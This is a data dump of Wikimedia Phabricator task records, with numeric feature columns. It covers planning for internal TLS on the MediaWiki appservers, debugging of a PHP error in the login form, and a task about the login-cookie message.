In certificate terms, we need to create keys and issue certs (signed by the internal WMF CA that we already trust) for the virtual service hostnames.  Probably the first step there is to come up with a definitive list of which clusters need which service hostnames (e.g. should the same broad pool of mw* machines have a SAN cert that covers both appservers.svc and api.svc? etc).

There are two basic obvious approaches to configuring the TLS listener:
1) We could deploy the puppetized tlsproxy nginx configuration (with slight ammendments) as an inbound TLS proxy that talks to apache.  The advantage here is simplicity of a known-good solution in configuration terms.  The downside is it adds another layer to the overall request-processing stack, which reduces uptime and complicates debugging, etc.
2) We could configure the TLS listening part in the appservers' current apache instance.  This is much better in terms of runtime/debugging complexity, but I'm not yet sure how difficult it would be to implement in apache terms (having TLS with a cert matching the virtual service hostname, which applies to all of the (~70?) VirtualHost declarations in the current apache-level configuration.

Eventually we'll want to use TLS Client Auth with this as well, but we could do that as a second step after the initial one-way auth.  Even without client auth, we're gaining significant resistance to passive snooping.",Medium,50.0,1439825170,1481864267.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-h4vak6nrj4jqsfsvccwi,task_description,duplicate,True,c3,3,True,True,False,6,True,0.75,0.0,0.0,0.25,0.25,7.75,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.5,2.25,0.5,5.0,11.0,0.0,1.75,0.5,0.0,0.25,0.0,0.5,0.25,0.0,1.0,0.5,0.75,4.75,0.25,0.5,0.25,0.0,0.0,0.5,0.25,0.5,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.5,0.0,15.25,0.25,2.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.5,0.25,0.25,0.0,0.0,0.5,0.0,6.75,2.25,7.75,0.5,2.0,10.75,0.0,0.0,0.0,0.0,3.75,0.0,0.75,0.0,2.75,11.0,4.75,0.5,0.25,0.0,2.75,0.0,1.75,1.5,0.0,2.5,0.25,0.25,1.25,4.258699633699634,0.7658424908424908,"Essentially, this task is about making URL and similar work internally.  Ideally we do this for all internal service endpoints eventually, but MediaWiki is the biggest target to go after for the initial work of sorting this out.  Host: headers can still be used to make requests to e.g. en.wikipedia.org over these TLS connections, but the cert should match the hostname used for the TCP connection in this case, IMHO.

In certificate terms, we need to create keys and issue certs (signed by the internal WMF CA that we already trust) for the virtual service hostnames.  Probably the first step there is to come up with a definitive list of which clusters need which service hostnames (e.g. should the same broad pool of mw* machines have a SAN cert that covers both appservers.svc and api.svc? etc).

There are two basic obvious approaches to configuring the TLS listener:
1) We could deploy the puppetized tlsproxy nginx configuration (with slight ammendments) as an inbound TLS proxy that talks to apache.  The advantage here is simplicity of a known-good solution in configuration terms.  The downside is it adds another layer to the overall request-processing stack, which reduces uptime and complicates debugging, etc.
2) We could configure the TLS listening part in the appservers' current apache instance.  This is much better in terms of runtime/debugging complexity, but I'm not yet sure how difficult it would be to implement in apache terms (having TLS with a cert matching the virtual service hostname, which applies to all of the (~70?) VirtualHost declarations in the current apache-level configuration.

Eventually we'll want to use TLS Client Auth with this as well, but we could do that as a second step after the initial one-way auth.  Even without client auth, we're gaining significant resistance to passive snooping."
109193,ErrorException SpecialUserlogin.php: Invalid operand type was used,"```
2015-08-15 19:18:15 translatewiki.net translatewiki_net-bw_: [c1d4f49b]
                    /w/i.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=Special:UserLogin&returntoquery=type%3Dsignup
                    ErrorException from line 1070 of /srv/mediawiki/tags/2015-08-15_15:50:02/includes/specials/SpecialUserlogin.php: PHP
                    Warning: Invalid operand type was used: Invalid type used as key
2015-08-15 19:18:15 translatewiki.net translatewiki_net-bw_: [2cefad9b]
                    /w/i.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=Special:UserLogin&returntoquery=type%3Dsignup
                    ErrorException from line 1070 of /srv/mediawiki/tags/2015-08-15_15:50:02/includes/specials/SpecialUserlogin.php: PHP
                    Notice: Undefined index:
```",Medium,50.0,1439666963,1443539325.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,PHID-TASK-2xd27lbdisruiu634pmi,task_description,resolved,True,c3,3,True,False,True,6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6,0.4,``CODE``
551714,ErrorException SpecialUserlogin.php: Invalid operand type was used,"Change 232220 merged by jenkins-bot:
Validate status codes returned from the AbortLogin hook

[[https://gerrit.wikimedia.org/r/232220]]",,,1445726170,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,False,,,16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.217391304347826,0.9130434782608695,"Change 232220 merged by jenkins-bot:
Validate status codes returned from the AbortLogin hook

[[GERRIT_URL]]"
509892,ErrorException SpecialUserlogin.php: Invalid operand type was used,"Change 232220 had a related patch set uploaded (by Gergő Tisza):
Validate status codes returned from the AbortLogin hook

[[https://gerrit.wikimedia.org/r/232220]]
",,,1439853027,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.137931034482759,0.896551724137931,"Change 232220 had a related patch set uploaded (by Gergő Tisza):
Validate status codes returned from the AbortLogin hook

[[GERRIT_URL]]
"
509816,ErrorException SpecialUserlogin.php: Invalid operand type was used,"Change 231974 abandoned by Gergő Tisza:
Fix array access error in LoginForm

[[https://gerrit.wikimedia.org/r/231974]]",,,1439845970,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.05,0.9,"Change 231974 abandoned by Gergő Tisza:
Fix array access error in LoginForm

[[GERRIT_URL]]"
509777,ErrorException SpecialUserlogin.php: Invalid operand type was used,">>! In T109193#1546910, @Nikerabbit wrote:
> The above log entry was truncated, here is the full one:
> ```
> [Sat Aug 15 21:18:15 2015] [hphp] [28681:7f5ea07ff700:3402:000002] [] \nNotice: Undefined index: <OK, collected 1 error(s) on the way, no value set>\n+------+---------------------------+-------------
> -----------------------------+\n|    1 | passwordtooshort          | 8                                        |\n+------+---------------------------+------------------------------------------+\n in /
> srv/mediawiki/tags/2015-08-15_15:50:02/includes/specials/SpecialUserlogin.php on line 1070
> ```

That looks like the problem that @Anomie fixed in https://gerrit.wikimedia.org/r/232046 where `$status` was being reused inside the `self:SUCCESS` case of `LoginForm::processLogin()`. That would also explain HHVM seeing the key as an object.",,,1439841752,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,0.4,"QUOTE
QUOTE
QUOTE"
509725,ErrorException SpecialUserlogin.php: Invalid operand type was used,"The above log entry was truncated, here is the full one:
```
[Sat Aug 15 21:18:15 2015] [hphp] [28681:7f5ea07ff700:3402:000002] [] \nNotice: Undefined index: <OK, collected 1 error(s) on the way, no value set>\n+------+---------------------------+-------------
-----------------------------+\n|    1 | passwordtooshort          | 8                                        |\n+------+---------------------------+------------------------------------------+\n in /
srv/mediawiki/tags/2015-08-15_15:50:02/includes/specials/SpecialUserlogin.php on line 1070
```",,,1439838360,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,5.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8947368421052633,0.8421052631578947,"The above log entry was truncated, here is the full one:
``CODE``"
509548,ErrorException SpecialUserlogin.php: Invalid operand type was used,"Change 232046 merged by jenkins-bot:
Rename variable to avoid collisions

[[https://gerrit.wikimedia.org/r/232046]]",,,1439826149,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.9,"Change 232046 merged by jenkins-bot:
Rename variable to avoid collisions

[[GERRIT_URL]]"
509514,ErrorException SpecialUserlogin.php: Invalid operand type was used,"Change 232046 had a related patch set uploaded (by Anomie):
Rename variable to avoid collisions

[[https://gerrit.wikimedia.org/r/232046]]
",,,1439823833,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.96,0.88,"Change 232046 had a related patch set uploaded (by Anomie):
Rename variable to avoid collisions

[[GERRIT_URL]]
"
509510,ErrorException SpecialUserlogin.php: Invalid operand type was used,"Although checking extensions in Gerrit, I don't see any that are likely to be misbehaving. More likely is SpecialUserlogin.php line 980 overwriting the $status variable.",,,1439823666,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,True,,,6,True,3.0,0.0,0.0,0.0,3.0,10.0,7.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,7.0,7.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,17.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,4.833333333333333,0.9333333333333333,"Although checking extensions in Gerrit, I don't see any that are likely to be misbehaving. More likely is SpecialUserlogin.php line 980 overwriting the $status variable."
509478,ErrorException SpecialUserlogin.php: Invalid operand type was used,">>! In T109193#1543712, @Tgr wrote:
> so it's probably something using the `AbortLogin` hook.

A better fix then would be to check the value output by that hook and throw an exception if it's a wrong type, instead of just blindly casting it to an integer.",,,1439822202,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,8.0,3.0,3.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,0.0,3.641025641025641,0.8974358974358975,"QUOTE
QUOTE

A better fix then would be to check the value output by that hook and throw an exception if it's a wrong type, instead of just blindly casting it to an integer."
509205,ErrorException SpecialUserlogin.php: Invalid operand type was used,"Duct tape fix; would be nice to figure out what returns an invalid return status. `LoginForm::authenticateUserData()` itself seems sound, so it's probably something using the `AbortLogin` hook.",,,1439761528,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,True,,,6,True,0.0,3.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,9.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,9.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,4.0,0.9375,"Duct tape fix; would be nice to figure out what returns an invalid return status. CODE itself seems sound, so it's probably something using the CODE hook."
509204,ErrorException SpecialUserlogin.php: Invalid operand type was used,"Change 231974 had a related patch set uploaded (by Gergő Tisza):
Fix array access error in LoginForm

[[https://gerrit.wikimedia.org/r/231974]]
",,,1439761263,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.7777777777777777,0.8888888888888888,"Change 231974 had a related patch set uploaded (by Gergő Tisza):
Fix array access error in LoginForm

[[GERRIT_URL]]
"
509202,ErrorException SpecialUserlogin.php: Invalid operand type was used,"Type juggling, probably.
```
$v = null;
switch( $v ) {
    case 0:
        echo '0';
        break;
    default:
        echo 'default';
        break;
}
// '0'
```",,,1439760491,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8181818181818183,0.7272727272727273,"Type juggling, probably.
``CODE``"
509182,ErrorException SpecialUserlogin.php: Invalid operand type was used,"`Notice: Undefined index:` looks like `$status` is null or an empty string. The `Invalid operand type was used: Invalid type used as key` error [[https://github.com/facebook/hhvm/blob/7199b9345c3042427e3386e5079393de182fbf00/hphp/runtime/base/type-array.cpp#L493-L496|points to it being an array or object]] based on an HHVM source search.

I'm not sure however how any of these states would make it to line 1070 as the `switch ( $status ) { ... }` ends with `default: throw new MWException( 'Unhandled case value' );` for any value that is not already listed in `LoginForm::$statusCodes`.

@nemo_bis is this easily repeatable? If so could you live hack to try and get a `var_dump` of `$status`?",,,1439757270,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,True,,,6,True,2.0,0.0,0.0,1.0,2.0,4.0,3.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,13.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,7.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,4.0,16.0,2.0,3.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,4.0,13.0,7.0,2.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,3.438202247191011,0.7415730337078652,"CODE looks like CODE is null or an empty string. The CODE error [[URL to it being an array or object]] based on an HHVM source search.

I'm not sure however how any of these states would make it to line 1070 as the CODE ends with CODE for any value that is not already listed in CODE.
SCREEN_NAME is this easily repeatable? If so could you live hack to try and get a CODE of CODE?"
509123,ErrorException SpecialUserlogin.php: Invalid operand type was used,The array access was added in https://gerrit.wikimedia.org/r/#/c/230034/,,,1439748135,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,1.0,The array access was added in URL
109031,Have userlogin-remembermypassword respect extended login cookie expiration,,Medium,50.0,1439528706,1464906373.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_description,resolved,True,c3,3,True,True,False,6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
673654,Have userlogin-remembermypassword respect extended login cookie expiration,"Thanks, @Tgr .",,,1464906396,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_subcomment,,True,c3,3,True,,,48,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,"Thanks,SCREEN_NAME ."
661646,Have userlogin-remembermypassword respect extended login cookie expiration,"Change 283698 abandoned by Gergő Tisza:
Fix i18n message parameter for 'keep me logged in' days.

Reason:
Done in I1e8fc632b52694aa6eb34ca1e9eae6d0b57df920, If89d24838e326fe25fe867d02181eebcfbb0e196, I8b52ec8ddf494f23941807638f149f15b5e46b0c.

[[https://gerrit.wikimedia.org/r/283698]]",,,1463102149,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,3.0,10.0,10.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,6.153846153846154,0.7692307692307693,"Change 283698 abandoned by Gergő Tisza:
Fix i18n message parameter for 'keep me logged in' days.

Reason:
Done in I1e8fc632b52694aa6eb34ca1e9eae6d0b57df920, If89d24838e326fe25fe867d02181eebcfbb0e196, I8b52ec8ddf494f23941807638f149f15b5e46b0c.

[[GERRIT_URL]]"
649528,Have userlogin-remembermypassword respect extended login cookie expiration,">>! In T109031#2219373, @Mpaulson wrote:
> Isn't this a duplicate ticket? See https://phabricator.wikimedia.org/T68699

No, this is a core issue to make the messages work properly.  {T68699} is actually changing the config.",,,1461256288,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_subcomment,,True,c3,3,True,,,42,True,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.5357142857142856,0.8571428571428571,"QUOTE
QUOTE

No, this is a core issue to make the messages work properly.  {T68699} is actually changing the config."
